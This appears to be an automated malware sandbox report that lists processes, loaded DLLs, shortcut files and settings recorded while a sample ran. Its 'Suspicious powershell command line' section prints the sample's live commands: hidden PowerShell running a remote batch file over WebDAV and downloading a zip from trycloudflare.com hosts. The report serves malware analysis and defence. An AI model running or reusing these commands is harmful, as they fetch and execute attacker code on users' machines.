Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1564,i,7782112262489688426,12990874366865501672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\crash_reporter.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF64EC64 pushad ; iretd	36_2_00007FF9BF64EC65
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF6461DA push ds; ret	36_2_00007FF9BF64621F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF6442D0 push esp; iretd	36_2_00007FF9BF644319
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF6442B5 push esp; iretd	36_2_00007FF9BF644319
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2D0D0 pushad ; retf	36_2_00007FF9BFB359DD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC784A5 pushad ; iretd	36_2_00007FF9BFC784F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC763C5 push edi; iretd	36_2_00007FF9BFC763E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC76365 push edi; iretd	36_2_00007FF9BFC763E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC7DAF0 push esp; retf	36_2_00007FF9BFC7DAF1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC7D6DF pushfd ; iretd	36_2_00007FF9BFC7D6E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC784E0 pushad ; iretd	36_2_00007FF9BFC784F2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
